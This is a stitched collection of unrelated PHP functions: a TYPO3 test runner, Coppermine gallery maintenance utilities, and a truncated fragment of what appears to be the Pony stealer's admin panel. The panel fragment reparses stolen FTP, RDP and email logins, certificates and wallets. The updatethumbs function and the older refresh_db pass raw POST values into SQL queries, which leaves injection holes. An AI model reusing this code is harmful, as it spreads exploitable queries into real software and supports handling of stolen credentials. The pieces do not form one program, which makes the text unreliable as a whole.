function doUnitTest($site) { echo '<br /><b>Unit tests on ' . $site . '.local.typo3.org</b><br />'; my_flush(); chdir('/var/www/' . $site . '.local.typo3.org'); $phpUnitCommand = './bin/phpunit -c typo3_src/typo3/sysext/core/Build/UnitTests.xml'; liveExecuteCommand($phpUnitCommand); my_flush(); }
function refresh_db() { global $CONFIG, $lang_util_php; $superCage = Inspekt::makeSuperCage(); //$albumid = (isset($_POST['albumid'])) ? $_POST['albumid'] : 0; if ($superCage->post->keyExists('albumid')) { $albumid = $superCage->post->getInt('albumid'); } else { $albumid = 0; } $albstr = $albumid ? "WHERE aid = {$albumid}" : ''; //$numpics = $_POST['refresh_numpics']; $numpics = $superCage->post->getInt('refresh_numpics'); //$startpic = (isset($_POST['refresh_startpic'])) ? $_POST['refresh_startpic'] : 0; if ($superCage->post->keyExists('refresh_startpic')) { $startpic = $superCage->post->getInt('refresh_startpic'); } else { $startpic = 0; } starttable('100%', $lang_util_php['update_result'], 3); echo "<tr><th class=\"tableh2\">{$lang_util_php['file']}</th><th class=\"tableh2\">{$lang_util_php['problem']}</th><th class=\"tableh2\">{$lang_util_php['status']}</th></tr>"; $outcome = 'none'; $result = cpg_db_query("SELECT * FROM {$CONFIG['TABLE_PICTURES']} {$albstr} ORDER BY pid ASC LIMIT {$startpic}, {$numpics}"); $count = mysql_num_rows($result); $found = 0; while ($row = mysql_fetch_assoc($result)) { extract($row, EXTR_PREFIX_ALL, "db"); unset($prob); $full_pic_url = $CONFIG['fullpath'] . $db_filepath . $db_filename; $thumb_url = $CONFIG['fullpath'] . $db_filepath . $CONFIG['thumb_pfx'] . $db_filename; $normal_url = $CONFIG['fullpath'] . $db_filepath . $CONFIG['normal_pfx'] . $db_filename; $url = '<a href="' . $CONFIG["ecards_more_pic_target"] . (substr($CONFIG["ecards_more_pic_target"], -1) == '/' ? '' : '/') . "displayimage.php?pos=-{$db_pid}" . '" target="_blank">' . "{$db_title} ({$db_pid})" . '</a>'; if (@file_exists($full_pic_url)) { $filesize = @filesize($full_pic_url); $dimensions = cpg_getimagesize($full_pic_url); if ($filesize) { $thumb_filesize = @filesize($thumb_url); $normal_filesize = @filesize($normal_url); $total_filesize = $filesize + $thumb_filesize + $normal_filesize; if ($total_filesize != $db_total_filesize) { $prob .= "{$lang_util_php['incorrect_filesize']}<br />{$lang_util_php['database']}{$db_total_filesize}{$lang_util_php['bytes']}<br />{$lang_util_php['actual']}{$total_filesize}{$lang_util_php['bytes']}<br />"; $fs1_upd = @cpg_db_query("UPDATE {$CONFIG['TABLE_PICTURES']} SET total_filesize = '{$total_filesize}' WHERE pid = '{$db_pid}' LIMIT 1"); $outcome = $fs1_upd ? $lang_util_php['updated'] : $lang_util_php['update_failled']; } if ($filesize != $db_filesize) { $prob .= "{$lang_util_php['incorrect_filesize']}<br />{$lang_util_php['database']}{$db_filesize}{$lang_util_php['bytes']}<br />{$lang_util_php['actual']}{$filesize}{$lang_util_php['bytes']}<br />"; $fs2_upd = @cpg_db_query("UPDATE {$CONFIG['TABLE_PICTURES']} SET filesize = '{$filesize}' WHERE pid = '{$db_pid}' LIMIT 1"); $outcome = $fs2_upd ? $lang_util_php['updated'] : $lang_util_php['update_failled']; } } else { $prob .= $lang_util_php['filesize_error'] . '<br />'; $outcome = $lang_util_php['skipped']; } if ($dimensions) { if ($dimensions[0] != $db_pwidth || $dimensions[1] != $db_pheight) { $prob .= "{$lang_util_php['incorect_dimension']}<br />{$lang_util_php['database']}{$db_pwidth}x{$db_pheight}<br />{$lang_util_php['actual']}{$dimensions[0]}x{$dimensions[1]}<br />"; $dim_upd = @cpg_db_query("UPDATE {$CONFIG['TABLE_PICTURES']} SET `pwidth` = '{$dimensions[0]}', `pheight` = '{$dimensions[1]}' WHERE `pid` = '{$db_pid}' LIMIT 1"); $outcome = $dim_upd ? $lang_util_php['updated'] : $lang_util_php['update_failled'] . mysql_error(); } } else { $prob .= $lang_util_php['dimension_error'] . '<br />'; $outcome = $lang_util_php['skipped']; } } else { $prob .= sprintf($lang_util_php['fullpic_error'], $full_pic_url) . '<br />'; $outcome = $lang_util_php['cannot_fix']; } if ($prob) { $found++; echo "<tr><td class=\"tableb\">{$url}</td><td class=\"tableb\">{$prob}</td><td class=\"tableb\">{$outcome}</td></tr>"; } else { echo "<tr><td class=\"tableb\">{$url}</td><td class=\"tableb\">{$lang_util_php['no_prob_detect']}</td><td class=\"tableb\">OK</td></tr>"; } my_flush(); } endtable(); if ($outcome == 'none') { echo $lang_util_php['no_prob_found']; } if ($count == $numpics) { $startpic += $numpics; echo <<<EOT <form name="cpgform4" id="cpgform4" action="util.php" method="post"> <input type="hidden" name="action" value="refresh_db" /> <input type="hidden" name="refresh_numpics" value="{$numpics}" /> <input type="hidden" name="refresh_startpic" value="{$startpic}" /> <input type="hidden" name="albumid" value="{$albumid}" /> <input type="submit" value="{$lang_util_php['continue']}" class="button" /> </form> EOT; } }
$report_size = $pony_db->get_report_sum_linked("WHERE report_id='" . mysql_real_escape_string($report_id) . "'"); $smarty->assign('report_id', $report_id); $smarty->assign('report_size', $report_size); $smarty->assign('log_id', $log_id); $log_item_result = $pony_db->get_log_item($log_id); $report_item_result = $pony_db->get_report_item($report_id); if ($pony_db->state && is_array($report_item_result)) { $report_item_result['report_source_ip_country_code'] = geo_ip_country_code($report_item_result['report_source_ip']); $report_item_result['report_source_ip_country_name'] = geo_ip_country_name($report_item_result['report_source_ip']); } $smarty->assign('report', $report_item_result); $smarty->assign('log_item', $log_item_result); $smarty->display('view_report.tpl'); if ($pony_db->state && is_array($report_item_result)) { echo "<p id='wait_report_data'><span class='wait'></span></p>"; my_flush(); if ($admin_routine == 'reparse') { $ftp_count_before_reparse = $pony_db->get_report_linked_passwords_count($report_id); $cert_count_before_reparse = $pony_db->get_table_row_count(CPONY_CERT_TABLE); $wallet_count_before_reparse = $pony_db->get_table_row_count(CPONY_WALLET_TABLE); $email_count_before_reparse = $pony_db->get_table_row_count(CPONY_EMAIL_TABLE); $report = new report_parser($pony_report_options); $parse_result = $report->process_report($report_item_result['data'], $pony_db_report_password); if ($parse_result) { if ($enable_http_mode) { $url_list_array = array_merge($report->ftp_lines, $report->http_lines); } else { $url_list_array = $report->ftp_lines; } $url_list_array = array_merge($url_list_array, $report->rdp_lines); if ($enable_email_mode) {
function updatethumbs() { global $picturetbl, $CONFIG, $lang_util_php; $phpself = $_SERVER['PHP_SELF']; $albumid = $_POST['albumid']; $updatetype = $_POST['updatetype']; $numpics = $_POST['numpics']; $startpic = 0; $startpic = $_POST['startpic']; $query = "SELECT * FROM {$picturetbl} WHERE aid = '{$albumid}'"; $result = MYSQL_QUERY($query); $totalpics = mysql_numrows($result); if ($startpic == 0) { // 0 - numpics $num = $totalpics; // Over picture limit if ($totalpics > $numpics) { $num = $startpic + $numpics; } } else { // startpic - numpics $num = $startpic + $numpics; if ($num > $totalpics) { $num = $totalpics; } } $i = $startpic; while ($i < $num) { $image = $CONFIG['fullpath'] . mysql_result($result, $i, "filepath") . mysql_result($result, $i, "filename"); if ($updatetype == 0 || $updatetype == 2) { $thumb = $CONFIG['fullpath'] . mysql_result($result, $i, "filepath") . $CONFIG['thumb_pfx'] . mysql_result($result, $i, "filename"); if (resize_image($image, $thumb, $CONFIG['thumb_width'], $CONFIG['thumb_method'], $CONFIG['thumb_use'])) { print $thumb . ' ' . $lang_util_php['updated_succesfully'] . '!<br />'; my_flush(); } else { print $lang_util_php['error_create'] . ':$thumb<br />'; my_flush(); } } if ($updatetype == 1 || $updatetype == 2) { $normal = $CONFIG['fullpath'] . mysql_result($result, $i, "filepath") . $CONFIG['normal_pfx'] . mysql_result($result, $i, "filename"); $imagesize = getimagesize($image); if (max($imagesize[0], $imagesize[1]) > $CONFIG['picture_width'] && $CONFIG['make_intermediate']) { if (resize_image($image, $normal, $CONFIG['picture_width'], $CONFIG['thumb_method'], $CONFIG['thumb_use'])) { print $normal . $lang_util_php['updated_succesfully'] . '!<br />'; my_flush(); } else { print $lang_util_php['error_create'] . ':$normal<br />'; my_flush(); } } } ++$i; } $startpic = $i; if ($startpic < $totalpics) { ?> <form action=<?php echo $phpself; ?> method="post"> <input type="hidden" name="action" value="continuethumbs" /> <input type="hidden" name="numpics" value="<?php echo $numpics; ?> " /> <input type="hidden" name="startpic" value="<?php echo $startpic; ?> " /> <input type="hidden" name="updatetype" value="<?php echo $updatetype; ?> " /> <input type="hidden" name="albumid" value="<?php echo $albumid; ?> " /> <input type="submit" value="<?php print $lang_util_php['continue']; ?> " class="submit" /></form> <?php } }
function refresh_db() { global $CONFIG, $lang_util_php; $albumid = isset($_POST['albumid']) ? $_POST['albumid'] : 0; $albstr = $albumid ? "WHERE aid = {$albumid}" : ''; $numpics = $_POST['refresh_numpics']; $startpic = isset($_POST['refresh_startpic']) ? $_POST['refresh_startpic'] : 0; starttable('100%', "Update results", 3); echo "<tr><th class=\"tableh2\">{$lang_util_php['file']}</th><th class=\"tableh2\">{$lang_util_php['problem']}</th><th class=\"tableh2\">{$lang_util_php['status']}</th></tr>"; $outcome = 'none'; $result = cpg_db_query("SELECT * FROM {$CONFIG['TABLE_PICTURES']} {$albstr} ORDER BY pid ASC LIMIT {$startpic}, {$numpics}"); $count = mysql_num_rows($result); $found = 0; while ($row = mysql_fetch_assoc($result)) { extract($row, EXTR_PREFIX_ALL, "db"); unset($prob); $full_pic_url = $CONFIG['fullpath'] . $db_filepath . $db_filename; $thumb_url = $CONFIG['fullpath'] . $db_filepath . $CONFIG['thumb_pfx'] . $db_filename; $normal_url = $CONFIG['fullpath'] . $db_filepath . $CONFIG['normal_pfx'] . $db_filename; $url = '<a href="' . $CONFIG["ecards_more_pic_target"] . (substr($CONFIG["ecards_more_pic_target"], -1) == '/' ? '' : '/') . "displayimage.php?pos=-{$db_pid}" . '" target="_blank">' . "{$db_title} ({$db_pid})" . '</a>'; if (@file_exists($full_pic_url)) { $filesize = @filesize($full_pic_url); $dimensions = @getimagesize($full_pic_url); if ($filesize) { $thumb_filesize = @filesize($thumb_url); $normal_filesize = @filesize($normal_url); $total_filesize = $filesize + $thumb_filesize + $normal_filesize; if ($total_filesize != $db_total_filesize) { $prob .= "Total filesize is incorrect<br />Database: {$db_total_filesize} bytes<br /> Actual: {$total_filesize} bytes<br />"; $fs1_upd = @cpg_db_query("UPDATE {$CONFIG['TABLE_PICTURES']} SET total_filesize = '{$total_filesize}' WHERE pid = '{$db_pid}' LIMIT 1"); $outcome = $fs1_upd ? 'Updated' : 'Update failed.'; } if ($filesize != $db_filesize) { $prob .= "Total filesize is incorrect<br />Database: {$db_filesize} bytes<br />Actual: {$filesize} bytes<br />"; $fs2_upd = @cpg_db_query("UPDATE {$CONFIG['TABLE_PICTURES']} SET filesize = '{$filesize}' WHERE pid = '{$db_pid}' LIMIT 1"); $outcome = $fs2_upd ? 'Updated' : 'Update failed.'; } } else { $prob .= "Could not obtain file size (may be invalid file), skipping....<br />"; $outcome = "Skipped"; } if ($dimensions) { if ($dimensions[0] != $db_pwidth || $dimensions[1] != $db_pheight) { $prob .= "Dimensions are incorrect<br />Database: {$db_pwidth}x{$db_pheight}<br />Actual:{$dimensions[0]}x{$dimensions[1]}<br />"; $dim_upd = @cpg_db_query("UPDATE {$CONFIG['TABLE_PICTURES']} SET `pwidth` = '{$dimensions[0]}', `pheight` = '{$dimensions[1]}' WHERE `pid` = '{$db_pid}' LIMIT 1"); $outcome = $dim_upd ? 'Updated' : 'Update failed - ' . mysql_error(); } } else { $prob .= "Could not obtain dimension info, skipping....<br />"; $outcome = "Skipped"; } } else { $prob .= "File {$full_pic_url} does not exist !<br />"; $outcome = "Cannot fix"; } if ($prob) { $found++; echo "<tr><td class=\"tableb\">{$url}</td><td class=\"tableb\">{$prob}</td><td class=\"tableb\">{$outcome}</td></tr>"; } else { echo "<tr><td class=\"tableb\">{$url}</td><td class=\"tableb\">No problems detected</td><td class=\"tableb\">OK</td></tr>"; } my_flush(); } endtable(); if ($outcome == 'none') { echo 'No problems were found.'; } if ($count == $numpics) { $startpic += $numpics; echo <<<EOT <form action="util.php" method="post"> <input type="hidden" name="action" value="refresh_db" /> <input type="hidden" name="refresh_numpics" value="{$numpics}" /> <input type="hidden" name="refresh_startpic" value="{$startpic}" /> <input type="hidden" name="albumid" value="{$albumid}" /> <input type="submit" value="{$lang_util_php['continue']}" class="button" /> </form> EOT; } }